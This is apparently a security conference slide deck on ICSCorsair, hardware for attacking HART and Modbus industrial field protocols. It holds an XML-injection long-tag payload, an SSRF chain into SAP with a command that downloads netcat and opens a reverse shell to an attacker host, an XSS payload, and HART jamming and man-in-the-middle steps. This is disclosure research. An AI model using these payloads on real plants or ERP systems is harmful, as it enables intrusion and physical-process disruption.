ICSCorsair: How I will PWN your ERP through 4-20 mA current loop

Alexander Bolshev aka @dark_k3y
Gleb Cherbov aka @cherboff
Alexander Bolshev (@dark_key)
IS auditor @ Ph.D.
Assistant Professor @ SPbETU
Distributed Systems researcher
Yet another man wearing “some-color-hat”
Gleb Cherbov (@cherboff)
IS researcher @ Digital Security
Information Security Researcher
Agenda

• DEMO
• ICS Low-level protocols 101
• ICSCorsair board development & features
• Found vulnerabilities & attacks
• Conclusion
HERE SHOULD BE COOL LIVE DEMO BUT RUSSIAN AND U.S. CUSTOMS WERE AGAINST IT 😞.
BUT I’VE BEEN PREPARED AND RECORDED A VIDEO DEMO
VIDEO DEMO: Hacking SAP through Hart Transmitter
Q: How the #@$$% is it possible?!

The answer is simple: modern ICS architectures!
LET’S TRY TO EXPLAIN
A few words about ICS

- ICS stands for Industrial Control System
- Today, ICS infrastructures are commonly used in every factory and even in your house, too!
- ICS collects data from remote stations (also called field devices), processes them and uses automated algorithms or operator-driven supervisory to create commands to be sent back
Typical ICS architecture

- ERP
- Corporate network
- Routers/Firewalls
- MES
- OPC
- SCADA/DCS
- HMI
- Field devices
- Industrial bus
ICS technologies: looks familiar?

Look @ any modern ICS and you will see:

- Windows
- Linux
- Ethernet
- HTTP
- XML
- DCOM
- .NET
- SOAP
- SQL
Q: How could this mess work?

The answer is also simple:

**deep integration**

And deep integration always leads to **deep trust**
Weak point: low-level protocols

- Low-level protocols connect intelligent field devices with PLCs, SCADAs, etc.
- Most industrial low-level protocols were developed in 1970-1990s
- No authentication, No authorization, No cryptography

The upper system doesn’t expect anything “bad” from a field device
Field devices
Field protocols

- HART (current loop, 4-20 mA)
- Profibus DP (RS-485)
- Profibus PA (MBP)
- Modbus (RS-485)
- Foundation Fieldbus H1 (MBP)
- ...
• Highway Addressable Remote Transducer Protocol
• Developed by Rosemount in mid-1980s
• Mostly used on power plants, chemical factories, oil & gas industry
• Physical layer: FSK (copper wiring, 4-20 mA current loop)
• Current loop line length can reach 3 km => possible physical security problem
• Master-slave, half-duplex, 2200 Hz, 1200 bps
• No Authentication/Authorization/Cryptography (*wired)
Example of FSK transmission
HART FSK network scheme

- RTUs
- Secondary master
- Primary master
- 24V
- 2500Ohm
RS-485 physical layers protocols

- **Modbus**: Developed at the end of 1970s, widespread standard for ICS device communication. In most cases, no Authentication/Authorization/Cryptography.

- **Profibus DP**: Supported by Siemens, replacement for old field protocols; Hybrid medium access method, using token and master-slave scheme.
Why do we need yet another tool?

• Industrial modems are expensive and, in general, require specific software
• Most devices are noisy and bound by standards (“no more than 2 masters on line!”)
• Would be cool to have an autonomous device that can be powered from the dataline itself and remotely controlled
First try: HRTShield

- Arduino shield for HART
- Pros:
  - Arduino
  - Ease of use
- Cons:
  - Arduino
  - Power
  - Noisy
  - Protocol specific
  - Exposed to voltage bursts in dataline
  - Hard to extend
What do we need?

• Support for the most used low-level industrial protocols, like Modbus, Profibus, HART
• Powerful microcontroller with support for DSP extensions
• USB
• On-board power circuit that can be connected to usual industrial power line voltages
• Data line isolation (opto-, electromagnetic-, ...)
• Extensions for remote control via wireless (Bt, Wi-Fi, ...)
• Ability to extend board to support other industrial protocols
First prototype

- DS8500 as HART modem
- Power supply with 78xx
- Dual-channel optoisolators for RS-485
Prototype v.0.02

- Passive BPF for HART, modem embedded into MCU
- Power supply circuit rebuilt with TSR-1
- ADM2486 as RS-485 isolated transceiver
Prototype v.0.03

- MCU upgraded to CY8C34*
- Active BPF inside MCU
- Murata Power NMR100C as power isolator
Prototype v.0.03.1

- CY8C38* compatible
- HART out OpAmp moved into MCU
- TME 0505S 1351 as power isolator
Why did we call it ICSCorsair?

F4U Corsair – WWII USAF & RAF fighter, scout, fighter-bomber, 417 mph, armed with guns, rockets and bombs. In service till the 1980s.
HART modem inside MCU

(a) demodulator
(b) modulator

Diagram:

1. Band-Pass Filter
2. Zero-Crossing Detector
3. Correlator
4. Low-Pass Filter
5. Comparator
6. VDAC
7. Operational Amplifier
Choosing MCU: PSoC 3

- USB
- ADC, DAC, OpAmps, Comparators, Integrators inside
- PLDs (Programmable Logical Blocks) to create custom digital peripherals
- Choice between CY8C3446PVI-076 (cheaper, 50 Mhz frequency) and CY8C3866PVI-021 (67 MHz frequency and internal Digital Filter Block)
Operation modes

- Binary configuration mode
- Text configuration mode
- HART FSK mode
- RS-485 mode (Modbus/Profibus, up to 460kbps)
- Change mode with 0x1B 0x6B 0x43 <mode number in ASCII> (Esc M Shift+C <Mode>)
Text commands (mode 1)

ICS Corsair v.0.03.2

* * * text-mode menu * * *

m<mode> -- change current mode
8<sp> -- preset RS-485 speed
J/j -- start/stop HART line JAM
R/r -- toggle RS-485 resitor
s<mode> -- set default start mode
U/u -- ena/disable USB on start
E -- print EEPROM in hex
X -- get XBee init strings
? -- print this menu
>

COM9:9600 baud - Tera Term VT
## Binary commands (mode 0)

<table>
<thead>
<tr>
<th>Command syntax</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xFE &lt;mode&gt;</td>
<td>Sets default start mode: 0x00 – binary, 0x01 – text, etc.</td>
</tr>
<tr>
<td>0xFD &lt;USB&gt;</td>
<td>Enable USB at startup: 0x00 – disable, 0x01 – enable</td>
</tr>
<tr>
<td>0xFB &lt;XBEE init strings list&gt; 0x00</td>
<td>Initialization strings list for XBEE slot.</td>
</tr>
<tr>
<td>0xFA &lt;mode&gt;</td>
<td>Switch to mode: 0x00 – binary, 0x01 – text, e.t.c.</td>
</tr>
<tr>
<td>0x85 &lt;speed constant&gt;</td>
<td>Presets the speed of RS-485 port. Speed constant is the number of speed preset</td>
</tr>
<tr>
<td>0x8E &lt;on/off&gt;</td>
<td>Sets the RS-485 termination resistor on (0x01) or off (0x00)</td>
</tr>
<tr>
<td>0x4A / 0x6A</td>
<td>Start / Stop HART line jamming</td>
</tr>
</tbody>
</table>
Remote access via XBee slot

- You can control ICSCorsair remotely, via the Xbee expansion slot
- Bluetooth, Wi-Fi and RF(UART) cards supported
Expansion slot for ICSCorsair

Pins: \( \text{I}^2\text{C}, \text{SIO}, 4 \text{GPIO}, \text{IDAC/VDAC}, \text{ADC}, 3.3V, 5V, \text{Isolated 5V} \) and \( \text{GND}, \text{GND} \)
Software for ICSCorsair

• ICSCorsair may work as standalone HART/RS-485 modem

• Additional software is available in the repository:
  – Helper Ruby scripts
  – MetaSploit modules
  – Mobile application
Example usage: HART sniffer

Example response:
- **PDU:**
  - Preamble: 5
  - Delimiter: 2
  - Command: 0
- **Packet:**
  - Flags: 10
  - Device ID: 0
  - Manufacturer ID: 0
  - Device Revision: 6
  - Hardware Revision Level: 8
  - Configuration Count: 25088

Example request:
- Command 20 request with no args.
Mobile application*

- Written in C#/F# using Xamarin Framework
- Works on Android/iOS
- Supports HART, partial support of Modbus I/O and Profibus sniffing

*in development
TIME TO EXPLAIN THE DEMO!
Plant Asset Management

- Plant Assets Management Software = tools for managing plants assets
- PAS systems lie on the upper/medium levels of ICS and are integrated with MES and ERP systems
- Most solutions are based on the FDT/DTM standard
- FDT standardizes the communication and configuration interface between all field devices and host systems
- DTM provides a unified structure for accessing device parameters, configuring and operating the devices, and diagnosing problems
- FDT frame application allows engineers to load and create hierarchies of DTM device drivers and UIs
What is FDT/DTM?

- Frame Application
  - COM Container
- DeviceDTM
- CommDTM
- PAS
- Industrial bus
- Modem/Gateway
- Transmitters & I/O
- Industrial bus
FieldCare – typical PAS (FDT Frame)
Back to HART: packet structure

- Every packet starts with 0xff...0xff preamble
- Three types of commands: Universal, Common Practice and Device Families
- Two address type: polling (network) and unique (hardware)
- HART tag (8 bytes packed ASCII) and HART long tag (32 bytes ASCII) are used as an application layer address
HART Addressing and PAS

• Every field device (in general, every device) in PAS industrial facility hierarchy has a unique ID

• For HART devices, HART long tag is used as universal ID
Escaping? Boundary checking?

FieldCare doesn’t filter, escape, or provide boundary checking for HART long tags, so you can use any symbols in them with length up to 240 bytes.
Deep integration leads to deep trust => data from FieldCare goes to the upper level of ICS without any check, escape, or filtering.

Remember: deep trust!

AND THEN I SAID "TRUST ME"
FDT/DTM is based on XML

- And FieldCare does no escaping
- Let’s inject some XML into the CommDTM reply and force it to load external XML scheme
- Set long tag to:
  A' xmlns='x-schema:http://domainname:port/
- We can put any XML code into default web page, FieldCare will interpret it as XSD.
Let’s check...

...and set some special XML symbols in the HART long tag (' < &)

Empty tag => XML Parser fail!
Consequences

• SSRF (server-side request forgery)
• NTLM relay
• Resource Exhaustion (DoS) in XML parser
• Unpatched XML libraries? =>
  – XML eXternal Entity attack
  – Remote Code Execution
• With SSRF, we can attack neighbor systems, for example ERP :)
**Attack scheme**

1. HART Command 22
   - Long tag change packet
   - `A' xmlns='x-schema:http://q45.ru`

2. HART transmitter
3. XML data
4. Request for remote XSD schema
5. Reply (XSD with SSRF)
6. SSRF

PAS (FieldCare)

HART gateway/master

Internet

Evil web server

SAP remote command execution exploit query

RCE

ERP

**Internet Protocol (IP) Security (IPsec)**

**XML Encryption (XEnc)**

**XML Digital Signatures (XDS)**

**XML Signature (XSig)**
Why to JAM? And how?

Line need to be JAMmed for two reasons:

• Break the communication to allow us to send command to device;

• Force PAS to verify device, including reloading long tag from device.
## Metasploit Module

```plaintext
Basic options:
Name       Current Setting Required Description
---------- ---------- ---------------
ADDRESS    972910F01C yes  RTU address, 5 bytes in hex
BAUD       1200 yes   serial port baud rate
DEVICE     ICSCCorsair yes connection device (accept ICSCCorsair, modem)
JAMTIME    17 no     line JAM time (in seconds)
LONGTAG    A' xmlns='x-schema:http://q45.ru' yes new longtag
PORT       /dev/ttyACM0 yes serial port of modem or I
            (e.g. COM1 or /dev/ttyACM0)
```
Longtag problem

• If you want to use real transmitter, longtag should not be longer than 32 bytes, thus you can use only 6-symbols domain name.

• However, there are tons of such domains available for registration.

• Or you can MiTM HART transmitter and emulate (forge) it with ICSCorsair or HRTShield.
<?xml version="1.0" encoding="ISO-8859-1"?>
<Schema name="Device" xmlns="urn:schemas-microsoft-com:xml-data"
xmlns:dt="urn:schemas-microsoft-com:datatypes"
xmlns:xi="http://www.w3.org/2001/XInclude">
<include xmlns='x-schema:http://172.16.10.63:50100/ctc/servlet/ConfigServlet?'
param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /C "echo ftp>scr1%26echo ftp>>scr1%26echo get nc.exe>>scr1%26echo quit>>
scr1%26ftp -s:scr1 172.16.2.6%26nc -e cmd 172.16.2.6 4444"'/
>AttributeType>
</Schema>

*vulnerability discovered by Dmitry Chastukhin of ERPScan (@_chipik) in 2012, SAP Notes 1467771, 1445998*
XSS THROUGH HART
Attack plan

• FieldCare has an external Condition Monitoring component, that allow to access infrastructure state through web-browser.
• As you remember, FieldCare does no escaping.
• Let’s try to use this “feature”
• Earlier we use ‘, now let’s play with “.”
FieldCare Condition Monitoring
Page source

Looks like XSSable
Attack scheme

1. HART Command 22
   Long tag change packet
2. HART transmitter
3. Injected code
4. XSS execution

Attacker

FieldCare Condition Monitoring

HART Command 22
A" onLoad="alert(111)"
onA="
XSS as it is
32 bytes is enough for simple “alert(111)” proof of concept, but not enough for real JavaScript payloads.

But not enough for real payloads.

However, E&H software developers “has take care” about this – FieldCare accepts “invalid” long tag packets with length up to 127/240 bytes.

All we need is to forge ICS device, but before this we need to break communication between master and original slave device => we need to MiTM HART transmitter.
HART MiTM(1)

Normal process: master speaks with slave

PollID: 1
UniqueID: E0BD010303

Command with address ->
E0BD010303

Current loop

<- Reply

Sniffing traffic
HART MiTM(2)
Attacker JAMs the line

Master

Slave

PollID: 1
UniqueID: E0BD010303

Jamming line
HART MiTM(3)
Immediately after that sends command 6 to RTU

PollID: 9
UniqueID: E0BD010303
Change your polling id to 9 -> <- Reply
Change PollID cmd
HART MiTM(4)

On verify Master asks: who has polling ID equal to 1?

Master

Command 0 for polling id 1 ->

Current loop

Slave

PollID: 9
UniqueID: E0BD010303

PollID: 1
UniqueID: E0BD010304

<- Reply
HART MiTM(5)

Now master speaks to attacker, not to RTU

Master

Slave

Current loop

Command with address E0BD010304 -

<- Reply

PollID: 1
UniqueID: E0BD010304

PollID: 9
UniqueID: E0BD010303
Field device forging

• We have successfully MiTMed HART transmitter and need a tool to emulate (forge) it.
• For making it simple, I’ve created Ruby gem “hartparser”.

```ruby
when 13 then {
  "tag"=>"\\"\\\"\"&;","descriptor"=>"\\"\\\"\"&;"&@@@@A", "date"
when 14 then {
  "transducer_serial" => 123, "transducer_UC" => 90,
  "upper_transducer_limit" => 0.0, "lower_transducer_limit" => 0.0,
  "minimum_span" => 0.0
when 15 then {
  "PV_alarm_selcode"=>242, "PV_transfer_funcode"=>0, "PV_range",
  "PV_upper_range_value"=>0.0,
  "PV_lower_range_value"=>0.0, "PV_damping_value"=>0.0, "write_protect",
  "private_label_distributor_code"=>23, "PV_analog_channel_flags"=>0}
when 16 then {
  "final_assembly_number" => 123 }
```
Risk mitigations

E&H still ignores this vulnerabilities, and, however, some other PAS software and DTM components are vulnerable to XML injections (waiting while vendors will fix it). Possible steps of mitigations could be:

• Enclose PAS server with IPS/app layer firewall to prevent SSRF.
• Physical security, Physical security, Physical security.
• Low-level IDS? Low-level gateways? – still no such solution, sounds like a good startup idea 😊.
Other attacks with ICSCorsair

• Forging Modbus devices
• Sniffing Profibus DP
• Denial of Service (e.g. INOR MePro DoS)
• ...

Conclusion

• ICSCorsair provides tools and abilities for attacking HART and Modbus industrial protocols
• Modern ICS infrastructures are very fragile
• Physical security is still the ToDo item No. 1 for low-level protocols
• Captain reporting: ICS industry needs to move to the “modern” technologies, e.g. Ethernet, or embed security mechanism in the current/future versions of low-level industrial protocols
Future Work

- High-speed (up to 12 Mbps) Profibus DP support
- MBP (Manchester Bus Powered) industrial protocols support
- More features in supplied software and mobile application
- High speed USB support

&& OFC Find Much MORE Bugs

ICSCorsair is open-source hardware, we need community help in improving its hardware/firmware/software!
Thanksgiving service

- Svetlana Cherkasova for “some binary magic” and FieldCare reverse-engineering
- Sergey (ppram-5) for helping in ICSCorsair circuit and PCB design
- Alexander Malinovskiy aka Weedle for help on creating the 1st version of ICSCorsair
- Alexander Peslyak (@solardiz) for many bright ideas
- ERPScan company for help and support, Dmitry Chastukhin (@_chipik) for the marvelous remote command execution in SAP
- Konstantin Karpov aka QweR for help with getting, buying and delivering field devices
- Fedor Savelyev aka Alouette for help with Digital Signal Processing
- Cypress Semiconductors and Maxim Integrated for great ICs and technical support
Links

• ICSCorsair repository (hardware, firmware, software):
  
  http://github.com/Darkkey/ICSCorsair

• Find and order PCB @ Oshpark:
  https://www.oshpark.com/shared_projects/zaJH0xKQ

• HART parser repository:
  http://github.com/Darkkey/hartparser
THX FOR LISTENING!

We're Done.

Questions?

@dark_k3y
@cherboff